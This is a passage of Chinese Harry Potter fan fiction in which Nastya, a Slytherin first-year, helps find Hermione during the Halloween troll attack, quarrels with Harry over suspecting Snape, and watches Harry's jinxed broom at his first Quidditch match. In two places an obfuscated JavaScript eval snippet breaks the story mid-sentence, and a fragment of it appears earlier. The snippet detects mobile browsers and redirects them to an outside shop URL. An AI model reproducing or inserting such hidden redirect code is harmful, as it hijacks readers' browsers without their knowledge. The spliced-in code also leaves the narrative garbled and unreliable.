里面装着一些蓝色碎线头状的东西。 娜斯缇亚解释道:“这是毛毛牙薄荷糖,我请弗雷德和乔治代购的。把它含在嘴里,它们会像牙线一样自动清理口腔。我准备圣诞节的时候也送一点给珍妮阿姨和莱斯特叔叔。” 赫敏笑了起来:“我想他们会比我更喜欢这个。” 说着,她又拆开一个盒子,拿出一支红色和金色相间的羽毛笔。 “这是我上次偷偷溜出去给你挑的,文人居的新款。我给我自己买了一支银色和绿色的。” “你偷溜出去?!霍格莫德?什么时候!” “嗯……还是拆礼物吧!”意识到自己说漏了嘴,娜斯缇亚赶紧把最后一个盒子塞到她怀里。 那是一条草莓兔的项链,吊坠上的兔子抱着一颗草莓,卖力地啃着。 赫敏惊呼一声:“它真可爱!”她握着项链看了又看,然后要娜斯缇亚帮自己把它戴到脖子上。 “今天上午赫梅斯落在桌上时,罗恩吓坏了,他问珀西为什么要给我送礼物。” “珀西一定在心里骂死他了。”娜斯缇亚笑得差点喘不过气来。 “但他和哈利都对我说了生日快乐。其他人也是。”赫敏说,“你知道的,我们最近一直没有说话。” “哦!他们当然不是真的讨厌你,相信我。” 赫敏什么话都没说,只是转过身抱住了她。 “生日快乐,亲爱的娜缇。” “生日快乐!亲爱的赫敏。” * 时间过得飞快,在她们过完生日的一个多月后,新生们迎来了在霍格沃茨的第一个万圣节。 娜斯缇亚提前送了弗雷德和乔治一大包麻瓜糖果,为他们的恶作剧事业增砖添瓦。 人们总会对陌生事物产生更强烈的好奇心。 万圣夜晚上本来有一节天文课,但为了让大家高高兴兴地度过这美好的一天,可爱的辛尼斯塔教授把这节课改到了第二天晚上——四个学院一起。 为了庆祝这个好消息,娜斯缇亚、达芙妮和潘西,以及硬要加入的德拉科在公共休息室玩了一个下午的飞行棋(虽然她拿来了改良版,但达芙妮坚决拒绝)。 不得不说,德拉科的手气差极了。 为了让自己能清净一些,西奥多不得不代替他扔了好几轮骰子。 即便如此,三个女孩仍然不断将他的飞机踩回原地。 “达芙妮!这是你第10次把我从临近终点的地方踩回去!” 说实话,他还没跳起来已经是看在过节的面子上。 “德拉科,如果你留意到这点的话,就会知道,连潘西都踩了你3次。”达芙妮不像潘西,她和德拉科从小就不大对付,向来不惯着他。 “不行!我要换个新玩法。”德拉科不由分说地把棋盘给掀乱,“组队,两个人一组。” 他似乎打定主意要找一个运气比自己好的人来替自己扔骰子。 “先说好,潘西和我一组。”达芙妮挽住潘西的手臂,疯狂使眼色示意娜斯缇亚,“娜缇,你和谁一队?” “我要和西奥多一组。”娜斯缇亚飞快地说。 西奥多立刻放下书坐到了她的后面——他看起来比任何人都不想被德拉科选中。 “该死——你们等着!” 德拉科冲进寝室,把睡眼朦胧的布雷斯、克拉布和高尔都拽了出来。 “我和布雷斯一组。” 所有人都用同情的目光注视着布雷斯,气得德拉科牙痒痒。 * 可谁能想到呢,运气最好的人居然是高尔。 他扔了一个又一个六,飞进一架又一架棋子,所有人都被他的好运气搞得昏昏欲睡。 娜斯缇亚不得不叫了停:“听说教授们下午在帮忙装饰礼堂,我要去看看。” * 当娜斯缇亚走进礼堂的时候,礼堂上空已经飞满了蝙蝠(说实话,她觉得这个主意真是糟透了),教授们正在用漂浮咒挂起一只只小南瓜。 海格拎着两个巨型南瓜走进来,热情地和她打了个招呼:“娜缇,你来得真早!离晚宴开始还有半小时呢!” “哦,格雷小姐!真少见,你今天没和格兰杰小姐一起来吗?”弗立维教授也抽空和她搭话。 听到这声亲切的呼唤,斯内普教授立刻转头盯着她。 “是的教授,格兰芬多今天下午有两节课。……或许我能帮帮忙?”娜斯缇亚在两道温度截然相反的视线中艰难发问。 “哦,那再好不过了,来练习练习你的漂浮咒怎么样?” 娜斯缇亚赶紧跑到弗立维教授身边,挑了一只小南瓜,挂到礼堂上空。 她听见斯内普教授哼了一声。 说实话,有时候她觉得德拉科和他挺像的。 她知道这有些碰瓷斯内普教授,但还是忍不住这么想。 “或许我们应该给这位热心的小姐加点分。”斯内普教授不冷不热地说。 娜斯缇亚开始后悔来礼堂凑热闹了。 “教授,那我也能加点分吗?”某个熟悉的声音从身后传来。 娜斯缇亚吓了一大跳。 “嘿,你又是什么时候站在我后面的?” 塞德里克指了指不远处堆叠起来的巨型南瓜:“我刚刚蹲在那后面,给南瓜挖一个笑脸。” “难怪,你鼻子上有一点南瓜。” 塞德里克茫然地摸了摸鼻子。 “它现在被你扫到脸上了。”娜斯缇亚从口袋里掏出一枚小镜子,送到塞德里克面前。 就在这时,一个声音在他们身后幽幽响起。 “如果你们还记得自己是个巫师,就应该知道,一个魔咒就能解决这件事。而不是像两个蠢乎乎的傻瓜……”斯内普教授尤其意味深长地看着塞德里克。 娜斯缇亚和塞德里克面面相觑,哑口无言。 好险,麦格教授解救了他们。 善良的格兰芬多。 “依我看,西弗勒斯的建议还不错。就给斯莱特林和赫奇帕奇各加5分,怎么样?” 娜斯缇亚很少见到她这么高兴。 当然,面对这种天降学院分,她和塞德里克为什么要说不呢? 为了对得起这5分,他们把剩下的南瓜都解决了。 * 礼堂渐渐填满了学生。娜斯缇亚完成工作后,看见弗雷德和乔治隔着老远向自己招手,示意她过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦,娜缇,你不用生气……”帕瓦蒂兴奋地给娜斯缇亚递来一面镜子。 她的脑袋上正立着一对毛茸茸的猫咪耳朵。 “万圣夜快乐,猫女巫。”弗雷德和乔治一人一边,捏了捏她的猫耳朵。 最出乎意料的是,这对耳朵竟然有触感。 而这时他们身边已经围上来了一大群人——哪个学院的学生都有。 看样子他们也很想摸一摸娜斯缇亚的那对猫耳朵,但弗雷德和乔治一一把他们的手拍开了。 “新产品——五西可一颗——欲购从速——”弗雷德打开了满满一口袋的南瓜软糖。 某种程度上,他的确没骗人。 他们的确没带能吃的糖出来。 娜斯缇亚白了他们无数眼:“你们为什么不挑几颗随便混进桌上那堆糖果里?” “噢,那可不一定会有现在这么好的效果。”弗雷德神秘地笑了笑。 感谢梅林,大概三十秒后,那对耳朵终于消失了。 娜斯缇亚快受不了一直被人用兴奋又好奇的目光盯着了。 “我觉得应该再延长几分钟,”弗雷德戳戳娜斯缇亚,“你觉得呢?” “不,我觉得刚刚好。”娜斯缇亚很警惕地拒绝了,“别想让我帮你们干活。” 双胞胎哈哈大笑。 “好了,现在,快回去吧,老蝙蝠已经在瞪我们了。”娜斯缇亚被他们推着离开。 - “你们想试试吗?”回到斯莱特林长桌,娜斯缇亚从口袋拿出两颗糖果,分给跃跃欲试的达芙妮和潘西,“如果大家都喜欢的话,他们俩一定会长期出售。” 糖果已经售罄了,礼堂现在遍地都是猫耳人。 娜斯缇亚甚至看到一个胆大包天的学生跑到教师席,给麦格教授递了一颗。 后者笑眯眯地收下了,似乎还向其他教授炫耀似的扬了扬。 “这太恶心了。”对于这一切,德拉科评价道。 21. 第 21 章 晚宴开始后,长桌上准时冒出了一大堆像开学那天一样丰盛的食物。 为了不让德拉科有机会倒自己胃口,娜斯缇亚和杰玛、艾丽娅坐在了一起。 “我下午怎么没在图书馆看到你?”艾丽娅问。 “我和达芙妮她们在休息室玩飞行棋。” “你是说,格林格拉斯?”艾丽娅很诧异,“你们是朋友?我没看出来。” “嗯嗯,算是吧,达芙妮人挺好的……”她们还是如此热衷于投喂娜斯缇亚,导致她吃得几乎没空说话。 杰玛轻笑了一声。 ? 杰玛看上去没打算告诉她答案,继续夹来一块烤鸡腿。 艾丽娅则冲她挤挤眼:“下次把飞行棋带回寝室吧,我也好久没玩了。” 艾丽娅是斯莱特林最特殊的学生之一。 她的父亲是一名巫师,在女儿出生之前就因意外去世了,而她的母亲对丈夫的情况一无所知。 她甚至从来没发现丈夫和一般人有什么不同。 艾丽娅坚称自己是麻瓜出身的学生——当然,她在入学前接受的教育让她和一名麻瓜几乎也没什么区别了。 艾丽娅坦言,自己曾因为这个收到过一些歧视。 但她的成绩好得让人无可指摘。 当然啦,她的人缘也很不错,每个学院都有说得上话的朋友。 “艾丽娅不是那种典型的斯莱特林。”很多人都这么说。 娜斯缇亚无疑是他们眼里的“艾丽娅·布朗二号”。 “如果你愿意的话,我们今天回去就可以一起玩改良版。” 艾丽娅似乎觉得这个建议不错,立刻答应了。 杰玛适时地提醒了她:“她说的‘改良版’出自韦斯莱之手。你连噼啪爆炸牌都不喜欢。” “……” 娜斯缇亚哈哈大笑。 “我下午玩飞行棋的时候从德拉科那里赢了几个巧克力派,回去之后我们一人一个。” 她的格兰芬多朋友们肯定不会想吃德拉科给的东西。 哦,说到格兰芬多…… 晚宴已经开始了,赫敏怎么还没来? 她说好今天要用一包草莓牛奶糖和自己交换滋滋蜜蜂糖的。 娜斯缇亚很想找个机会去格兰芬多长桌问问看,但这时来了一个拉文克劳高年级和杰玛搭话。他们谈论着这周的算数占卜作业,吸走了她的全部注意力。 回过神的时候,所有人都看见一个紫色的身影跑进了礼堂。 是奇洛教授。 他似乎用尽了全身力气,才跑到邓布利多教授的面前,倚靠在桌前。 “巨怪——在地下教室里——我认为你应该知道——” 话刚说完,他就晕了过去。 他究竟是怎么当上黑魔法防御课的教授的?! 娜斯缇亚颤抖着看向那个倒在地上的身影。 整个礼堂只安静了一秒,立刻炸开了锅:学生们惊慌失措地站起身来,尖叫声此起彼伏。 娜斯缇亚觉得自己听见了德拉科的叫声。 他的嗓门还真是洪亮。 而邓布利多不得不让魔杖爆出了几次紫色的烟火,大家才安静下来。 “级长,立刻把各学院的学生领到宿舍去!” 杰玛握紧娜斯缇亚的手,像开学那天一样带着她跟在队伍后方。 这时,娜斯缇亚再次想起整个晚宴上都没出现的赫敏。 “杰玛,我得去问问赫敏去哪了!她今天晚上甚至没来礼堂参加晚宴……” 杰玛愣了愣:“她会不会在图书馆?” “可是,格兰芬多下午有两节课,她不可能不吃饭就去图书馆一直这么坐着。而且,我们明明约好了……”娜斯缇亚的脸色越来越苍白,仿佛赫敏已经成为了巨怪手下的一缕亡魂,“不行!我要去问问他们!” “我陪你去。”杰玛看起来似乎很怕她去做什么傻事,转身叮嘱艾丽娅几句,就带着她飞快找到珀西领着的队伍。 “嘿,帕瓦蒂,你知道赫敏去哪了吗?” “赫敏?她今天下午在一楼的盥洗室哭呢,不让别人安慰她,也许已经回寝室了吧……呃……我是说也许。”帕瓦蒂说着说着,笃定的语气就不那么笃定了。 同一时刻,娜斯缇亚发现哈利和罗恩也不在队伍中。 他们三个怎么回事? 她几乎吓得要跳起来。 杰玛的反应比她更快。 “冷静,娜缇。我们应该把这件事告诉教授们。”杰玛压住她的肩膀,坚定地说,“我不可能带着你没头没脑地在走廊上乱走,这太危险了。如果你不认可我的处理方式,那么免谈,我会立刻带你回斯莱特林的队伍。” * 娜斯缇亚拽着杰玛的手,逆着人流在走廊上狂奔,试图追上麦格教授。 “教授!麦格教授!” 她的大声呼喊惊得麦格教授立刻转过身。 “格雷小姐,法利小姐,你们为什么没有回休息室,而是出现在了这里?”麦格教授厉声问。 杰玛使了个眼色,示意娜斯缇亚不要开口:“教授,我们了解到有一位格兰芬多的学生刚刚不在礼堂,她很可能不知道巨怪的事。娜斯缇亚认为我们应该立刻向您报告这件事,以免发生一些不可挽回的可怕后果。” 麦格教授的脸色白了又白。她的嘴唇开始颤抖。 “教授,她很可能在女生盥洗室,如果可以的话,我们能不能快去那里看看?” 麦格教授沉思片刻,很快做出决定。 “现在,你们跟着我。” * 她们跟着麦格教授,在走廊拐角遇到了从楼上下来的斯内普教授。 他的身后跟着面色不大自然,或者说有些阴沉的奇洛教授。 “奇洛教授居然醒了,我还以为他会一觉睡过去呢。”娜斯缇亚凑近杰玛,小声地嘲讽。 杰玛没有笑,表情十分严肃。 她注意到斯内普教授走路的姿势不大自然。 他甚至没有立刻像一阵风那样刮到她们面前,冷若冰霜地质问她为什么会带着一个新生出现在这里。 就在这时,所有人都听见一连串惊天动地的巨响从走廊另一边的女盥洗室传来。 那架势就好像谁把二楼的天花板给捅穿了似的。 “赫敏!”娜斯缇亚瞬间白了脸。 麦格教授的动作远比娜斯缇亚更快,她几乎是飞了过去。 娜斯缇亚和杰玛跟着赶到盥洗室门口的时候,都惊讶地失了声。 不是被那股陈年酸臭味熏的,而是因为…… 一只20英尺高的巨怪正倒在她们的面前。 在巨怪的不远处,赫敏狼狈地躲在破碎的洗手台下;哈利坐在它的旁边,浑身颤抖。 “你们到底在玩什么鬼把戏?!”麦格教授大喝一声。 屋内的三个人齐齐回头,“唰”地白了脸。 “算你们走运,没有被它弄死。你们为什么不老老实实呆在寝室里?” 梅林知道,娜斯缇亚差点就要推开麦格教授冲上去了,但是杰玛提溜住她的衣领子,把她钉在了原地。 赫敏在抬头的那一刻看到了娜斯缇亚。 她立刻低下头,用脏脏的袖子擦了擦眼睛。 娜斯缇亚再也顾不上什么麦格教授或者斯内普教授了,她冲上前去拦住赫敏,掏出自己的手帕,为她擦拭眼睛和脸颊上的污渍和泪水。 奇洛教授突然像抽水马桶一样发出了一阵无力的啜泣声。斯内普教授扫开他,上前,弯腰检查巨怪。 这一刻,娜斯缇亚由衷地佩服她们的院长。 但显然现在不是一个好时候。 麦格教授静静地看着她的好朋友们,显然在等着一个合理的解释。 娜斯缇亚拉着赫敏的衣角,像她那样怯怯地看着麦格教授。 “麦格教授,他们是在找我。” 赫敏说出这句话之后,娜斯缇亚这才回头看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437150|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗恩和哈利一眼。 他们两个惊魂未定,脸上、身上都脏兮兮的。 罗恩甚至还傻傻地举着魔杖,娜斯缇亚不得不把他的手臂拉了下来。 但赫敏接下来的举动打了她一个猝不及防。 “我来找巨怪,因为我——我以为我能独自对付它——你知道,因为我在书里读到过它们,对它们很了解。”赫敏深吸了一口气,开始讲述事情的起因经过。 坦白说,娜斯缇亚只看了罗恩和哈利一眼,就知道事情不是这样子的。 至少不完全是。 但理智告诉她,自己不能在这时打断赫敏。 令人惊讶的是,对着哈利和罗恩那两张明显心虚到不行的脸,麦格教授竟然丝毫没有起疑。 娜斯缇亚意识到她也许比自己的院长好糊弄多了。 听完赫敏的讲述之后,屋内的空气变得焦灼起来。 麦格教授沉思好了一会,才终于做出决定:由于赫敏的莽撞,她要扣格兰芬多5分;而因为哈利和罗恩的勇敢和机敏帮助了同学,每人加5分。 在麦格教授说完这句话之后,娜斯缇亚听见赫敏悄悄松了一口气。 她居然在赌,用抹黑自己的说辞来换格兰芬多不被扣分。 甚至,加分。 这是娜斯缇亚第一次理解分院帽的决定。 她无疑是一名格兰芬多。 * 麦格教授没有对娜斯缇亚和杰玛擅自脱离集体的事表示不满。 “斯莱特林加5分,法利小姐、格雷小姐,你们的汇报很及时,做法也非常妥当。”说这句话的时候,她又看了自己学院的学生一眼,露出一个十分头痛的表情。 也许因为这句话,斯内普教授没有追究娜斯缇亚的责任(他甚至没看杰玛一眼,就知道这件事绝对与她无关)。 解决这桩大麻烦后,教授们把几个学生赶出了盥洗室。 娜斯缇亚巴不得赶紧离开这。 她快被熏晕了。 杰玛飞快地瞥一眼三个脏兮兮的格兰芬多,低声对娜斯缇亚说:“我在一楼的楼梯口等你。” 她走远后,娜斯缇亚立刻审视着哈利和罗恩。 “让我猜猜,谁是这件事的罪魁祸首?” 赫敏不是被人随随便便说一句话就会跑到盥洗室哭的那种性格。更何况,格兰芬多下午有两节课,帕瓦蒂居然说她连后一节课都没去上。 娜斯缇亚简直不敢想象。什么举动才能让她伤心到这种程度? 罗恩和哈利的脸色瞬间变得十分慌张。 但他们互相瞅着对方,似乎不知道应该怎么坦白这件事。 赫敏只好替他们解释:“哦,娜缇,我已经没事了。而且他们刚刚真的救了我。如果不是哈利和罗恩及时赶过来,我就没命了……” “是啊,你们都差点没命了。”娜斯缇亚冷笑一声,“因为什么?一些我不能知道的原因?” “我本来想告诉你的,娜缇。可是我不知道应该去哪里找你。”赫敏低着脑袋说。 “……” 所有人都沉默了。 紧接着,罗恩泄气的声音响起。 “是我的错,我下午不该对赫敏说那些话。” “罗恩不是故意的。但他那时候情绪有点太激动了,真的。”哈利也站了出来。 赫敏没说话,脸颊却越来越红。 “算了,我不该问这个的。”娜斯缇亚一眼察觉到了朋友的尴尬,她绷着脸,从口袋里掏出那包滋滋蜜蜂糖,“如果你愿意的话,可以分一点给他们两个。” 赫敏赶紧拉住她的手,在口袋翻找起来。 “它们可能有些碎掉了。”她递过去一个小小的白色袋子。 袋子经过她的触碰,印上了一个黑手印。 “Scourgify。” 娜斯缇亚接过糖果,顺便给他们每个人也来了一个清理一新。 “我先回去了,万圣夜快乐。”她语气冰冷地说。 22. 第 22 章 娜斯缇亚走后,哈利往左看了看赫敏,又向右瞅了瞅罗恩。 “她是不是生气了?”他小心地问。 “很显然,是的。” “不用问,是的。” 赫敏和罗恩难得异口同声地说。 赫敏看了罗恩一眼,后者神色有些尴尬地扭开头。 隔了几秒,罗恩补充道:“她上次看起来这么生气还是在五岁的时候。当时弗雷德和乔治差点骗我立下牢不可破的誓言,娜缇知道后,整整一个星期没和他们说话。”他看起来似乎还有些得意。 “什么是‘牢不可破的誓言’?”哈利和赫敏都好奇地看着他。 罗恩的神色有些尴尬:“这是一种契约。如果誓言被打破,那么打破它的那个人就会死亡。” 哈利的眼珠子差点掉了出来。 “天哪,他们是你的哥哥还是定时炸弹?”赫敏问。 罗恩有些被噎得说不出话。 “不管怎么说,我还是早点跟她说清楚……” “不,还是我去吧。”赫敏坚定地拒绝了。 他们彼此对视了一眼。 “嘿,赫敏,我……” 赫敏打断了他。 她觉得自己似乎不需要听到这句道歉了。 “已经没事了,真的。”她说。 他们三个一起往格兰芬多塔楼走去,回去的路上,赫敏把那盒滋滋蜜蜂糖拆开,分给哈利和罗恩一人两颗。 进门的那一瞬间,他们忽然同时向对方说了一句“谢谢”。 * 娜斯缇亚承认,自己的心里有些别扭。 在回休息室的路上,她一直心不在焉。 “你怎么了?”杰玛忍不住问,“和朋友吵架了?我还以为你不会有这种困扰呢。” 她还真是一针见血。 “我太咄咄逼人了……”沉默了一会,娜斯缇亚才说,“明明猜到了罗恩对赫敏说了伤人的话,还想让她再提一遍。” 就因为自己不想被他们排除在外。 “你对自己太苛刻了。”杰玛说。 “你和格兰杰几乎没有吵过架,这在一段关系里已经很难得了。”她继续说道,“当然,我指的是女性之间的友谊。愚蠢的男孩总是能把事情往更坏的方向推进。” 娜斯缇亚忍不住笑出了声。 “你认为照顾朋友的情绪不是什么很高的要求。”杰玛继续说道,“但你不能要求自己时时刻刻都完美。” “好吧,我觉得好受多了。我们回去吃巧克力派吧。”娜斯缇亚挽住她的手臂,脚步又轻快起来,“也许我明天应该向赫敏道个歉,什么的。” “也许她会先来找你道歉呢。”杰玛道。 * 一切正如杰玛所言。 万圣节那晚的天文课上,赫敏坚持把事情的前因后果都告诉了娜斯缇亚。 娜斯缇亚必须得承认,罗纳德比自己想象得还要傻。 好消息是,在共同经历了巨怪事件后,赫敏、罗恩和哈利培养出了深厚的友谊。 坏消息是,现在他们偶尔四个人一起去图书馆——而那哈利和罗恩那两个傻瓜总是不能老老实实地坐在座位上完成作业。 毕竟魁地奇比赛快开始了。 三头犬和它守护的宝藏在他们这里不是一个秘密话题,但娜斯缇亚和赫敏谁也没太在意这件事。 不过,娜斯缇亚知道哈利一直很想弄明白。 * “梅林啊你是不长眼睛吗……哈利?你为什么这个时间在地下教室这?你应该呆在休息室好好休息。” 这天周五,娜斯缇亚照例要去斯内普教授的办公室练习药剂配制。刚踏进走廊,就和脸色发青的哈利撞了个正着。 “你怎么了?” 哈利也揉着额头,神神秘秘地拉着娜斯缇亚躲进某间教室。 “你猜不到我看见了什么!”他一惊一乍地说,“斯内普!他的腿受伤了!” 娜斯缇亚翻了个白眼:“真新鲜。我还以为这件事我们早就知道了呢。” 这些天以来,斯内普教授走路总是一瘸一拐的。 说实在的,他为什么不去庞弗雷女士那看一看呢(虽然医疗翼的很多魔药就是出自他手)。 哈利却道:“不,他的伤是被三头犬弄的!” 娜斯缇亚目瞪口呆,半天说不出一句话。 哈利觑了她一眼,似乎是在猜测她的想法。 娜斯缇亚沉默了好一会。 “万圣夜那天晚上,我倒是看着他从楼上下来……”她看起来无比纠结,“你是说真的?” 哈利立刻放下心来。 “哈!我还以为你不信呢!你看到他从楼上下来?那就对了。我和罗恩那晚也看见他一个人鬼鬼祟祟地上楼。”他的语速越来越快,“他一定没想到走廊里还有只三头犬。它对斯内普可没客气——他的腿看起来可怕极了,血肉模糊。” 娜斯缇亚仔细地思考了一会:“这么说,万圣夜那只巨怪很有可能不是意外……有人想偷那个东西。” 哈利几乎要为她鼓起掌来:“没错!娜缇,我敢用我的飞天扫帚打赌,那个人就是斯内普……” 然而,听了这句话,娜斯缇亚却跳了起来。 “什么?你居然怀疑我们院长是那个可耻的小偷!你知道他办公室里有多少珍贵的东西吗?好多都是拿钱也买不到的!” 她深吸一口气,继续说:“连我们都能猜到有人想偷东西,教授们肯定也猜到了。而且,那天斯内普教授不是一个人,他是和奇洛教授一起下来的。说不定这伤是他为了保护奇洛教授弄的呢。我们都知道奇洛教授这个人没什么真材实料,是不是?” 哈利一脸不可思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437151|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议地看着她。 他生起气来和德拉科很不一样。 他整张脸都红了,本来就乱糟糟的头发好像触了电。 “我早该看出来的,你其实挺喜欢斯内普的,对吗?哪怕他总是对你的朋友们恶语相向。”他的语气充满了对娜斯缇亚的失望。 “哈利,我知道他对你很坏,但是这是两码事。我们应该再观察一段时间。”娜斯缇亚觉得自己已经尽量心平气和了。 然而哈利一点也听不进去。 “我一看到他的腿,他就咆哮着让我滚出来,这难道不是心虚吗?” “可是,如果小偷真的是他,他为什么不第一时间熬点药剂把伤势掩盖起来?全校都知道他最近走路一瘸一拐的。” “那是因为——算了,我认为我们没有谈下去的必要了。很显然,你只想给他找理由。” 哈利说出这句话,就拉开教室门,头也不回地走了。 娜斯缇亚甚至没来得及说一声明天见。 朋友间的争执是常有的事,但娜斯缇亚必须承认,哈利的处理态度让她有些恼火。 不,是非常恼火。 等她回过神来赶往斯内普教授的办公室时,时钟上的分针已经走过了数字12。 “我以为你已经自信到认为自己不再需要练习。” 娜斯缇亚看不出斯内普教授和平常有什么不同。 他阴阳怪气的时候多么活力四射啊。 当然,还嘴是不明智的。很快,办公室内只剩下魔药沸腾的咕嘟声。 娜斯缇亚瞥见斯内普教授的办公桌上有一本《神奇的魁地奇球》。 这应该就是哈利出现在这的原因——他最近一直在读这本书。 事实上,他最近的确很紧张,格兰芬多的魁地奇队长奥利弗·伍德是个狂热的魁地奇迷,弗雷德和乔治说他对哈利寄予了厚望,恨不得哈利一天二十四小时都住在球场才好。 “格雷小姐,我早该发现你有隆巴顿的特质。”斯内普教授略显嘲讽的声音在她的头顶响起。 娜斯缇亚被扎扎实实地吓了一跳,条件反射地看向自己的坩埚。 什么事也没有。 距离添加下一种材料的时间还有5分钟。 但她还是老老实实地低下头,承认错误:“抱歉,教授。我走神了。” “你一定在来的路上遇到了你的朋友,波特先生。”斯内普教授的嘴角挂着一丝冰冷的微笑,“你在想怎么帮他要回这本书?” “我没有在想这个,教授。” “最好是这样。”他冷哼一声,“转告波特,下次进教师办公室的时候,在得到教授允许之前,不要自作聪明地推门而入。” 在说“自作聪明”的时候,斯内普教授尤其加重了语气。 娜斯缇亚含含糊糊地应了一声,低头碾碎一颗青蛙眼珠。 23. 第 23 章 自从哈利成为格兰芬多新找球手的消息不胫而走之后,几乎全校都在期待这一场魁地奇比赛。 除了娜斯缇亚。 请别误会,就算没有和哈利吵架,她对魁地奇比赛的兴致也不高。 然而…… “我知道你昨天刚和哈利吵了架,但你不能指望他和罗恩用正常的头脑思考这件事。他们恨极了斯内普教授。这是哈利第一场比赛,他一定会很希望你也在场的。不管怎么说,咱们学得够久啦,去球场吹吹风也不错。” 上午十点四十分,娜斯缇亚被赫敏硬拖出图书馆。 哪里不错?! 还没走进球场,她就要被今天的冷风吹得晕过去了。 赫敏显然是有备而来。 她用一条大围巾包住娜斯缇亚的脑袋,又把那头显眼的头发用毛线帽裹住。 “我为什么要……” 赫敏打断了她:“好了,现在,别说话,跟着我走吧!” 很快,娜斯缇亚就知道她为什么要把自己包成这副样子了。 为了给哈利一个惊喜,他们拉了一条非常显眼的横幅,上面写着“波特必胜”。 如果德拉科发现她坐在这里,一定会嚷嚷着告诉所有人——“娜斯缇亚这个斯莱特林的叛徒!” 想到这,娜斯缇亚很想谢绝这个糟糕的建议,但罗恩拽住了她。 “别傻了,娜缇。谁会不看比赛,特地转过来找你呢?连最无聊的马尔福也不会。” 娜斯缇亚直言不讳道:“你刚刚还抱怨说,在我们来之前,德拉科跑过来和你们吵了一架。” “……” 不管怎么样,赫敏和罗恩还是按着她坐下,一左一右将她夹在了中间。 * 比赛的确挺精彩的。 至少在李·乔丹因为情不自禁夸赞安吉丽娜而被麦格教授训斥的那一刻,娜斯缇亚真情实感地笑出了声。 剩下的时间里,娜斯缇亚一直在观察弗雷德和乔治。 好几个暑假,他们都一起在后山练习飞行。 但这还是她第一次看他们的比赛。 看着那两个红色的脑袋在阳光下飞来飞去,娜斯缇亚忽然庆幸自己不是斯莱特林的找球手。 他们比金色飞贼吸引人多了。 弗雷德和乔治的移动速度快得仿佛不需要考思考时间。游走球在哪,他们就紧追着在哪。 如果不是扫帚限制发挥,也许他们还能飞得更好。 想到这,娜斯缇亚看向哈利的光轮2000。 要是她也送他们两把扫帚呢?虽然光轮系列她买不起,但是降价后的彗星或者横扫系列应该还是负担得起的。 她一个不留神,居然把这句话说了出来。 罗恩几乎要跳起来。 “娜斯缇亚!你总这样厚此薄彼!” “嘿,能不能别这么大声?”前排的迪安·托马斯不悦地回过头。 娜斯缇亚一把按住还在猛烈挣扎的罗恩:“等你进了魁地奇球队,我也会送你一把的。” “这根本不是送不送扫帚的问题!”罗恩终于挣脱了她的手臂,气哼哼地扭过头。 娜斯缇亚哑口无言。 * 和引人注目的韦斯莱双胞胎比起来,哈利几乎可以说是见不着人影。 他一直在赛场的更高处停留,直到安吉丽娜进球的时候,才突然出现在大家的视线中。 娜斯缇亚看见他在扫帚上翻了几个跟头,似乎在表达自己的喜悦。 “梅林啊他看起来可真傻气。” 但她显然低估了校园明星的魅力。 看台上的很多学生都在为他加油,各个学院的都有。 哪怕是斯莱特林。 就在这时,海格带着一个大大的望远镜来了。 娜斯缇亚让赫敏坐到自己腿上,和罗恩紧挨在一起,给他让出了一个位置。 “可是,娜缇,你真的不想看吗?”赫敏关切道。 “很显然,她对魁地奇的兴趣还没你一半高呢。”罗恩撇撇嘴,抱怨连天,“好像只要陪你看一场比赛,就会让她患上心脏病。” “罗纳德,不敢相信你居然还记着四年前那次世界杯的事。”娜斯缇亚十分无奈,“当时我是真的病了,不是在骗你。” “我又没有这么说。”罗恩嘴硬道。 就在他们聊天的时候,球场上出现了意外。 斯莱特林的魁地奇队长弗林特为了阻止哈利抓金色飞贼,竟然差点把哈利撞下扫帚。 迪安·托马斯愤怒地大喊着:“把他罚下场!红牌!” 娜斯缇亚很意外罗恩居然知道足球。 “不过,什么是红牌?”他又问。 “红牌是发给在足球比赛中严重犯规的选手的。”娜斯缇亚说,“依我看,魁地奇的确有必要引进一些新规则。” 海格绕过罗恩拍了拍她,以示安慰。但他也同意迪安的意见。 很显然,李·乔丹也是这么想的。 他不顾麦格教授的阻止,公然地通过广播贬低弗林特和斯莱特林队。 娜斯缇亚的脸颊火辣辣的。 她不确定自己是对乔丹的埋怨更多一些,还是对弗林特的埋怨更多一些。 但这一刻,她真心希望他俩都赶紧毕业,斯莱特林队能换一个正常些的队长,魁地奇杯也能换一个专业些的讲解员。 不管怎么说,比赛仍在继续。 不幸的是,新的变故又发生了。 “真不知道哈利想做什么……”海格咕哝道。 娜斯缇亚从赫敏身后探出脑袋——哈利的扫帚肉眼可见地出了毛病,它在空中不停翻转,几乎快把他甩下去。 可怜的哈利用一只手抓住了它,狼狈地悬挂在空中。 “他的扫帚是不是被撞出问题了?”西莫·斐尼甘问。 海格否认了这个猜想。 “除了厉害的黑魔法,没什么能干扰一把飞天扫帚。”他说。 娜斯缇亚触电般回过神,和赫敏对上目光。 很显然,她们的想法一致。 黑魔法!除了现在正在教授黑魔法防御课程的奇洛教授;和一直想申请这门课程的斯内普教授……还能有谁呢? 后者甚至还是哈利近期怀疑的可疑对象。 娜斯缇亚向海格要来了望远镜。 “……” 她简直不敢相信自己的眼睛。 斯内普教授正紧盯着哈利,眼睛一眨也不眨,嘴里念念有词。 